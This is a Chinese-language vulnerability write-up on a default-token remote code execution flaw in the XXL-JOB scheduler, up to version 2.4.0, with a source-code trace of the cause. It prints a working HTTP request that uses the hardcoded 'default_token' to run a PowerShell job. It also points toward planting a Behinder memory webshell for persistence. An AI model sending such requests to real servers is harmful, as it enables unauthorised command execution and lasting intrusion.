1. xxl-job介绍

XXL-JOB是一个轻量级分布式任务调度平台，其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线，开箱即用。

以上描述来源于官网：https://www.xuxueli.com/xxl-job/

2. 漏洞描述

最近新版xxl-job爆出默认token可导致rce漏洞，这个漏洞和之前的rce利用是一致的，只是在2.4.0后的版本上，在executor服务上加了token校验，在未更改accessToken的情况下导致的rce。

3. 影响范围

目前影响<= 2.4.0

4. 漏洞复现

项目地址：https://github.com/xuxueli/xxl-job/releases/tag/2.4.0

下载后导入idea，配置好数据库后即可启动：

启动服务，本身存在两个服务，一个是admin的控制台，另一个是executor的执行器，两个都启动(虽然和admin无关)。

POST /run HTTP/1.1
Host: 10.30.0.189:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Content-Type: application/json
Content-Length: 358

{
  "jobId": 200,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_POWERSHELL",
  "glueSource": "calc",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

burp发包：先去掉XXL-JOB-ACCESS-TOKEN: default_token：

爆500错误，access token错误。

添加默认token：windows下用的GLUE_POWERSHELL

5. 漏洞分析

原因说的很明确了，漏洞点是由于accessToken未更改导致的，即硬编码问题。

大概跟了一下其中的执行流程，http-server服务是通过netty实现的(注入内存马需要关注这个点)。在com.xxl.job.core.server.EmbedServer实现的netty-server端，一个ChannelHandler：

入口点在这个类的channelRead0方法中，在run下调用process，参数就是一个正常的HTTP请求，也就是burp发包的那段内容。其中会从header获取accessToken，也会作为第四个参数传进去，跟进process：

首先是三个if判断，判断是否为POST、请求的url是否为空、accessToken是否为空并与application.properties中设置的token比较是否相同，这个漏洞也就是这个地方。

满足条件后在根据uri判断进入/run(我们请求的uri就是/run)，继续跟进run方法：

com.xxl.job.core.biz.impl.ExecutorBizImpl#run这里就是调用executor核心方法了，主要是判断GlueType，漏洞的触发其实就是因为GlueType导致的，比如我们这里是GLUE_POWERSHELL,就是调用ps1脚本执行。

在其中有很多GlueType，基于Java的groovy、python、php、nodejs等，试了一下调用其中任意一个都能导致rce：

这就是整个流程。

比如换个GLUE，用GLUE_GROOVY同样Rce：

这里也能为后面深入利用注入内存马作为突破口。

6. 关于jobId冲突的问题

但实际上在测试时会有一个问题，比如我当前执行calc后，改变命令执行的方式为whoami，不做其他改变发包后他仍然会弹计算器。

这个现象会严重影响后面的深入利用，造成严重错误。

当尝试将jobId更换之后，便能解决这个问题。那么是什么原因呢？

最后浏览了一下源码，发现在Executor中为了避免重复，在其中维护了一个Queue，这个Queue是根据jobId为索引存储，对应的是JobTread

比如这里我当前jobId为2004，而在jobThreadRepository(一个HashMap)中已经有上一次执行的jobId-2003,也就是上一次执行的JobTread，如果我的jobId没有改变，依然是上一次的2003，那么直接会返回上一次的JobTread，也就是oldJobTread。

7. 关于深入利用

若是该环境在内网或不出网环境，又该如何利用？

比较方便的做法是打入冰蝎内存马，大致的实现方式有打Java Agent内存马和注入Netty内存马，两者的利用方式本身存在很大的不同。